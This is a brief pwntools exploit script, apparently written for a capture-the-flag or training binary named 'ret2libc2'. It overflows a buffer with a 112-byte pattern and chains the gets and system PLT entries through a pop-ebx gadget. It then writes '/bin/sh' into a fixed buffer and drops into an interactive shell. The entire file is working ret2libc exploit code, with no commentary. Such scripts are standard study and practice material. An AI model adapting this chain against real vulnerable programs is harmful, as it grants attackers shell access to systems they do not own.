#! /usr/bin/python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 howpwn <finn79426@gmail.com>
#
# Distributed under terms of the MIT license.

from pwn import *

p = process("./ret2libc2")

p.recvuntil("What do you think ?")
payload = cyclic(112)

get_plt = 0x8048460
buf = 0x804a040
system_plt = 0x8048490
pop_ebx = 0x0804843d

payload += flat([get_plt, pop_ebx, buf, system_plt, "AAAA", buf])

p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

